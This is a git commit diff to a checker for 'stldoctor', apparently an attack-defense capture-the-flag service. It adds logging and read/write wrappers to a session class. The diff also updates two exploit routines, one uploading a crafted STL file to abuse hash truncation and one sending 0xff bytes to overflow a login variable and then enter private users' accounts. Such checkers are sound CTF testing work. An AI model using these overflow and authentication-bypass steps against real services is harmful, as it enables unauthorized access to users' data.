commit 7c92f5fbbfc813916bc22fe2dfd6ad709c8bb7d7
parent 3754f26eff608ff48afeb144b1e8fb2d097f428c
Author: Louis Burda <quent.burda@gmail.com>
Date: Tue, 6 Jul 2021 15:09:23 +0200
add logging and abstract read / write in session class
Diffstat:
3 files changed, 123 insertions(+), 97 deletions(-)
diff --git a/checker/src/checker.py b/checker/src/checker.py
@@ -7,12 +7,14 @@ import random
import re
import struct
import subprocess
+import time
import numpy as np
logging.getLogger("_curses").setLevel(logging.CRITICAL)
from asyncio import StreamReader, StreamWriter
+from asyncio.exceptions import TimeoutError
from io import BytesIO
from logging import LoggerAdapter
from typing import Any, Optional, Union, cast
@@ -58,29 +60,77 @@ checker = Enochecker("stldoctor", 9090)
app = lambda: checker.app
+async def timed(promise: Any, logger: LoggerAdapter, ctx: str) -> Any:
+ logger.debug("Started: {}".format(ctx))
+ start = time.time()
+ result = await promise
+ end = time.time()
+ logger.debug("Done: {} (took {:.3f} seconds)".format(ctx, end - start))
+ return result
+
+
class Session:
- def __init__(self, socket: AsyncSocket) -> None:
+ def __init__(self, socket: AsyncSocket, logger: LoggerAdapter) -> None:
socket_tuple = cast(tuple[StreamReader, StreamWriter], socket)
self.reader = socket_tuple[0]
self.writer = socket_tuple[1]
+ self.logger = logger
+ self.closed = False
+
+ async def __aenter__(self) -> "Session":
+ await timed(self.prepare(), self.logger, ctx="preparing session")
+ return self
+
+ async def __aexit__(self, *args: list[Any], **kwargs: dict[str, Any]) -> None:
+ await timed(self.exit(), self.logger, ctx="closing session")
+
+ async def readuntil(self, target: bytes, ctx: Optional[str] = None) -> bytes:
+ try:
+ ctxstr = f"readuntil {target!r}" if ctx is None else ctx
+ return await timed(self.reader.readuntil(target), self.logger, ctx=ctxstr)
+ except TimeoutError:
+ self.logger.critical(f"Service timed out while waiting for {target!r}")
+ raise MumbleException("Service took too long to respond")
+
+ async def readline(self, ctx: Optional[str] = None) -> bytes:
+ return await self.readuntil(b"\n", ctx=ctx)
+
+ async def read(self, n: int, ctx: Optional[str]) -> bytes:
+ try:
+ ctxstr = f"reading {n} bytes" if ctx is None else ctx
+ return await timed(self.reader.readexactly(n), self.logger, ctx=ctxstr)
+ except TimeoutError:
+ self.logger.critical(f"Service timed out while reading {n} bytes")
+ raise MumbleException("Service took too long to respond")
+
+ async def drain(self) -> None:
+ await self.writer.drain()
- async def __atexit__(self) -> None:
- await self.close()
+ def write(self, data: bytes) -> None:
+ self.writer.write(data)
async def prepare(self) -> None:
- await self.reader.readuntil(prompt) # skip welcome banner
+ await self.readuntil(prompt)
+
+ async def exit(self) -> None:
+ if self.closed:
+ return
+ self.write(b"exit\n")
+ await self.drain()
+ await self.readuntil(b"bye!")
+ await self.close()
async def close(self) -> None:
- self.writer.write(b"exit\n")
- await self.writer.drain()
- await self.reader.readuntil(b"bye!") # ensure clean exit
+ if self.closed:
+ return
+ self.closed = True
self.writer.close()
await self.writer.wait_closed()
@checker.register_dependency
-def _get_session(socket: AsyncSocket) -> Session:
- return Session(socket)
+def _get_session(socket: AsyncSocket, logger: LoggerAdapter) -> Session:
+ return Session(socket, logger)
def ensure_bytes(v: Union[str, bytes]) -> bytes:
@@ -89,7 +139,7 @@ def ensure_bytes(v: Union[str, bytes]) -> bytes:
elif type(v) == str:
return v.encode()
else:
- raise InternalErrorException("Tried to pass non str/bytes to bytes arg")
+ raise InternalErrorException(f"Tried to convert {type(v)} arg to bytes")
def includes_all(resp: bytes, targets: list[bytes]) -> bool:
@@ -328,12 +378,12 @@ async def do_auth(
session: Session, logger: LoggerAdapter, authstr: bytes, check: bool = True
) -> Optional[bool]:
logger.debug(f"Logging in with {authstr!r}")
- session.writer.write(b"auth\n")
- session.writer.write(authstr + b"\n")
- await session.writer.drain()
+ session.write(b"auth\n")
+ session.write(authstr + b"\n")
+ await session.drain()
# Check for errors
- resp = await session.reader.readline()
+ resp = await session.readline(ctx="Reading auth response (1)")
if b"ERR:" in resp:
if check:
logger.critical(f"Failed to login with {authstr!r}:\n{resp!r}")
@@ -341,7 +391,7 @@ async def do_auth(
return None
# Also check success message
- resp += await session.reader.readuntil(prompt)
+ resp += await session.readuntil(prompt, ctx="Reading auth response (2)")
if b"Success!" not in resp:
logger.critical(f"Login with pass {authstr!r} failed")
raise MumbleException("Authentication not working properly")
@@ -352,9 +402,9 @@ async def do_auth(
async def do_list(
session: Session, logger: LoggerAdapter, check: bool = True
) -> Optional[bytes]:
- session.writer.write(b"list\n")
- await session.writer.drain()
- resp = await session.reader.readuntil(prompt)
+ session.write(b"list\n")
+ await session.drain()
+ resp = await session.readuntil(prompt, ctx="reading list response")
# Check for errors
if b"ERR:" in resp and b">> " not in resp:
@@ -375,21 +425,21 @@ async def do_upload(
) -> Optional[bytes]:
# Upload file
logger.debug(f"Uploading model with name {modelname!r}")
- session.writer.write(b"upload\n")
- session.writer.write(modelname + b"\n")
- session.writer.write(f"{len(stlfile)}\n".encode())
- session.writer.write(stlfile)
- await session.writer.drain()
+ session.write(b"upload\n")
+ session.write(modelname + b"\n")
+ session.write(f"{len(stlfile)}\n".encode())
+ session.write(stlfile)
+ await session.drain()
# Check for errors
# TODO improve by reading responses separately
- resp = await session.reader.readline()
- resp += await session.reader.readline()
+ resp = await session.readline(ctx="Reading upload response (1)")
+ resp += await session.readline(ctx="Reading upload response (2)")
if b"ERR:" in resp:
if check:
logger.critical(f"Failed to upload model {modelname!r}:\n{resp!r}")
raise MumbleException("File upload not working properly")
- await session.reader.readuntil(prompt)
+ await session.readuntil(prompt, ctx="Waiting for prompt")
return None
# Parse ID
@@ -401,7 +451,7 @@ async def do_upload(
logger.critical(f"Invalid response during upload of {modelname!r}:\n{resp!r}")
raise MumbleException("File upload not working properly")
- await session.reader.readuntil(prompt)
+ await session.readuntil(prompt, ctx="Waiting for prompt")
return modelid
@@ -416,14 +466,14 @@ async def do_search(
# Initiate download
logger.debug(f"Retrieving model with name {modelname!r}")
- session.writer.write(b"search " + modelname + b"\n")
- session.writer.write(b"0\n") # first result
- session.writer.write(b"y\n" if download else b"n\n")
- session.writer.write(b"q\n") # quit
- await session.writer.drain()
+ session.write(b"search " + modelname + b"\n")
+ session.write(b"0\n") # first result
+ session.write(b"y\n" if download else b"n\n")
+ session.write(b"q\n") # quit
+ await session.drain()
# Check if an error occured
- line = await session.reader.readline()
+ line = await session.readline()
if b"ERR:" in line:
if check:
logger.critical(f"Failed to retrieve model {modelname!r}:\n{line!r}")
@@ -431,19 +481,21 @@ async def do_search(
if b"Couldn't find a matching scan result" in line:
# collect all the invalid commands sent after (hacky)
# TODO: improve by checking every response in search
- await session.reader.readuntil(prompt)
- await session.reader.readuntil(prompt)
- await session.reader.readuntil(prompt)
- await session.reader.readuntil(prompt)
+ await session.readuntil(prompt)
+ await session.readuntil(prompt)
+ await session.readuntil(prompt)
+ await session.readuntil(prompt)
return None
# read until end of info box
- fileinfo = line + await session.reader.readuntil(b"================== \n")
+ fileinfo = line + await session.readuntil(
+ b"================== \n", ctx="Reading stl info"
+ )
stlfile = b""
if download: # Parse file contents
- await session.reader.readuntil(b"Here you go.. (")
- resp = await session.reader.readuntil(b"B)\n")
+ await session.readuntil(b"Here you go.. (", ctx="Reading stl size (1)")
+ resp = await session.readuntil(b"B)\n", ctx="Reading stl size (2)")
resp = resp[:-3]
size = parse_int(resp)
if size is None:
@@ -452,9 +504,9 @@ async def do_search(
)
logger.debug(f"Download size: {size}")
- stlfile = await session.reader.readexactly(size)
+ stlfile = await session.read(size, ctx="Reading stl contents")
- await session.reader.readuntil(prompt)
+ await session.readuntil(prompt)
return fileinfo, stlfile
@@ -462,7 +514,7 @@ async def do_search(
async def check_line(session: Session, logger: LoggerAdapter, context: str) -> bytes:
- line = await session.reader.readline()
+ line = await session.readline()
if b"ERR:" in line:
logger.critical(f"{context}: Unexpected error message\n")
raise MumbleException("Service returned error during valid interaction")
@@ -639,7 +691,6 @@ async def test_good_upload(
# Create new session, register and upload file
session = await di.get(Session)
- await session.prepare()
if register:
await do_auth(session, logger, authstr, check=True)
modelid = await do_upload(session, logger, modelname, stlfile, check=True)
@@ -659,11 +710,9 @@ async def test_good_upload(
)
if register:
await check_listed(session, logger, [modelname, modelid + b"-"])
- await session.close()
# Try getting file from a new session
session = await di.get(Session)
- await session.prepare()
if register:
await check_not_in_search(
session, logger, modelname, expected, download=True, fail=True
@@ -693,7 +742,6 @@ async def test_good_upload(
ref_modelid=modelid,
ref_solidname=solidname,
)
- await session.close()
async def test_bad_upload(di: DependencyInjector, filetype: str, variant: int) -> None:
@@ -703,11 +751,9 @@ async def test_bad_upload(di: DependencyInjector, filetype: str, variant: int) -
# Ensure a malformed file causes an error
session = await di.get(Session)
- await session.prepare()
if await do_upload(session, logger, modelname, stlfile, check=False):
logger.critical(f"Able to upload malformed file:\n{stlfile!r}")
raise MumbleException("Upload validation not working properly")
- await session.close()
async def test_search(di: DependencyInjector, registered: bool = False) -> None:
@@ -716,7 +762,6 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None:
# Ensure searching for a file that doesnt exist causes an error
session = await di.get(Session)
- await session.prepare()
if registered:
await do_auth(session, logger, authstr, check=True)
if resp := await do_search(session, logger, modelname, download=False, check=False):
@@ -725,7 +770,6 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None:
f"Search for file that shouldn't exist succeeded:\n{resp[0]+resp[1]!r}"
)
raise MumbleException("File search not working properly")
- await session.close()
# CHECKER METHODS #
@@ -741,11 +785,9 @@ async def putflag_guest(
# Generate a file with flag in solidname and upload it (unregistered, ascii)
session = await di.get(Session)
- await session.prepare()
stlfile = genfile(task.flag.encode(), "ascii")
modelid = await do_upload(session, logger, modelname, stlfile, check=True)
assert modelid is not None
- await session.close()
await db.set("info", (modelname, modelid))
@@ -761,11 +803,9 @@ async def putflag_private(
# Generate a file with flag in solidname and upload it (registered, bin)
session = await di.get(Session)
- await session.prepare()
await do_auth(session, logger, authstr, check=True)
modelid = await do_upload(session, logger, modelname, stlfile, check=True)
assert modelid is not None
- await session.close()
await db.set("info", (modelname, modelid, authstr))
@@ -780,12 +820,10 @@ async def getflag_guest(
# Retrieve flag file info via search and ensure flag's included
session = await di.get(Session)
- await session.prepare()
resp = await do_search(session, logger, modelname, download=True, check=True)
assert resp is not None
assert_in(task.flag.encode(), resp[0], "Flag is missing from stl info")
assert_in(task.flag.encode(), resp[1], "Flag is missing from stl file")
- await session.close()
@checker.getflag(1)
@@ -798,7 +836,6 @@ async def getflag_private(
# Retrieve private flag file info via search / list and ensure flag's included
session = await di.get(Session)
- await session.prepare()
await do_auth(session, logger, authstr, check=True)
search_resp = await do_search(session, logger, modelname, download=True, check=True)
assert search_resp is not None
@@ -807,7 +844,6 @@ async def getflag_private(
list_resp = await do_list(session, logger, check=True)
assert list_resp is not None
assert_in(task.flag.encode(), list_resp, "Flag is missing from list")
- await session.close()
@checker.putnoise(0, 1)
@@ -820,10 +856,8 @@ async def putnoise_guest(
# Generate a random file and upload it (unregistered, bin / ascii)
session = await di.get(Session)
- await session.prepare()
stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
modelid = await do_upload(session, logger, modelname, stlfile, check=True)
- await session.close()
await db.set("info", (modelid, modelname, solidname, stlfile))
@@ -838,11 +872,9 @@ async def putnoise_priv(
# Generate a random file and upload it (registered, bin / ascii)
session = await di.get(Session)
- await session.prepare()
stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
await do_auth(session, logger, authstr, check=True)
modelid = await do_upload(session, logger, modelname, stlfile, check=True)
- await session.close()
await db.set("info", (modelid, modelname, solidname, stlfile, authstr))
@@ -857,7 +889,6 @@ async def getnoise_guest(
# Retrieve noise file by name via search
session = await di.get(Session)
- await session.prepare()
await check_in_search(
session,
logger,
@@ -865,7 +896,6 @@ async def getnoise_guest(
[modelname, solidname, stlfile, modelid],
download=True,
)
- await session.close()
@checker.getnoise(2, 3)
@@ -878,7 +908,6 @@ async def getnoise_priv(
# Retrieve noise file by name via search and search (registered)
session = await di.get(Session)
- await session.prepare()
await do_auth(session, logger, authstr, check=True)
await check_in_search(
session,
@@ -888,7 +917,6 @@ async def getnoise_priv(
download=True,
)
await check_listed(session, logger, [modelname, solidname, modelid])
- await session.close()
@checker.havoc(0)
@@ -967,12 +995,10 @@ async def havoc_test_list_guest(di: DependencyInjector) -> None:
# Ensure that list does not work for unregistered users
session = await di.get(Session)
- await session.prepare()
resp = await do_list(session, logger, check=False)
if resp is not None:
logger.critical("Unregistered user can run list without ERR!")
raise MumbleException("User authentication not working properly")
- await session.close()
@checker.havoc(15)
@@ -987,13 +1013,11 @@ async def havoc_fluff_upload(di: DependencyInjector) -> None:
# Simple Upload
session = await di.get(Session)
- await session.prepare()
modelid = await do_upload(session, logger, modelname, stlfile, check=True)
assert modelid is not None
await check_in_search(
session, logger, modelname, [modelname, modelid, stlfile], download=True
)
- await session.close()
@checker.exploit(0)
@@ -1004,7 +1028,6 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
# Upload evil file for parse via search for hash truncation
session = await di.get(Session)
- await session.prepare()
logger.debug("Uploading evil file for hash truncation")
await do_upload(
session, logger, modelname, stlfile=search_truncation_payload, check=True
@@ -1014,9 +1037,9 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
)
assert search_resp is not None
info, contents = search_resp
- session.writer.write(b"search last\n")
- await session.writer.drain()
- filelist_resp = await session.reader.readuntil(b"? ")
+ session.write(b"search last\n")
+ await session.drain()
+ filelist_resp = await session.readuntil(b"? ", ctx="reading search results")
filelist = [
l.strip().split(b" : ")[1] for l in filelist_resp.split(b"\n") if b" : " in l
]
@@ -1027,20 +1050,25 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
logger.debug(
"Targets:\n" + "\n".join([" - " + l.decode("latin1") for l in filelist])
)
+ flag = None
for i, fhash in enumerate(filelist):
logger.debug(f"Retrieving file {fhash} at index {i}")
- session.writer.write(f"{i}\nn\n".encode())
- await session.writer.drain()
- filelist_resp = await session.reader.readuntil(b"==================")
- filelist_resp += await session.reader.readuntil(b"? ")
+ session.write(f"{i}\nn\n".encode())
+ await session.drain()
+ filelist_resp = await session.readuntil(
+ b"==================", ctx="Getting file info (1)"
+ )
+ filelist_resp += await session.readuntil(b"? ", ctx="Getting file info (2)")
if flag := searcher.search_flag(filelist_resp.decode("latin1")):
- return flag
+ break
# Done!
- session.writer.write(b"q\n")
- await session.writer.drain()
- await session.reader.readuntil(prompt)
- await session.close()
+ session.write(b"q\n")
+ await session.drain()
+ await session.readuntil(prompt)
+
+ if flag is not None:
+ return flag
raise MumbleException("Exploit for flagstore 1 failed")
@@ -1052,13 +1080,12 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None:
# Overflow loggedin variable
session = await di.get(Session)
- await session.prepare()
- session.writer.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
- await session.writer.drain()
- await session.reader.readuntil(prompt)
- session.writer.write(b"auth\n")
- await session.writer.drain()
- resp = await session.reader.readuntil(prompt)
+ session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
+ await session.drain()
+ await session.readuntil(prompt, ctx="Getting user hashes via search")
+ session.write(b"auth\n")
+ await session.drain()
+ resp = await session.readuntil(prompt, ctx="Checking auth success")
if b"Already logged in!" not in resp:
raise MumbleException("Exploit did not set 'loggedin' variable via overflow")
@@ -1068,7 +1095,7 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None:
raise MumbleException("")
logger.debug("list response: " + str(resp))
users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
- await session.close()
+ await session.exit()
# Login as each private user
for userhash in users:
@@ -1078,9 +1105,8 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None:
# Authenticate and check if the user is new
session = await di.get(Session)
- await session.prepare()
if not await do_auth(session, logger, authstr, check=True):
- await session.close()
+ await session.exit()
# We dont raise an exception, because it could be that user dir was cleaned
# up just before we logged in, not necessarily because of an invalid prehash.
# If there was a problem with the preimage generation, we wont find a flag and
@@ -1089,7 +1115,7 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None:
# list all private files of user
resp = await do_list(session, logger, check=True)
- await session.close()
+ await session.exit()
# Search for flag in solid names
solidnames = b"\n".join(
diff --git a/service/src/msgs/motd b/service/src/msgs/motd
@@ -11,5 +11,5 @@
STLing flags since 2006!
C4n y0u r34d th1s? 🏁➡️ 📁
( *ಥ ⌂ * ) dont pwn pls
- *finds file* UwU whats this?
+ YOUR ADVERTISEMENT HERE!
diff --git a/src/msgs/motd b/src/msgs/motd
@@ -11,5 +11,5 @@
STLing flags since 2006!
C4n y0u r34d th1s? 🏁➡️ 📁
( *ಥ ⌂ * ) dont pwn pls
- *finds file* UwU whats this?
+ YOUR ADVERTISEMENT HERE!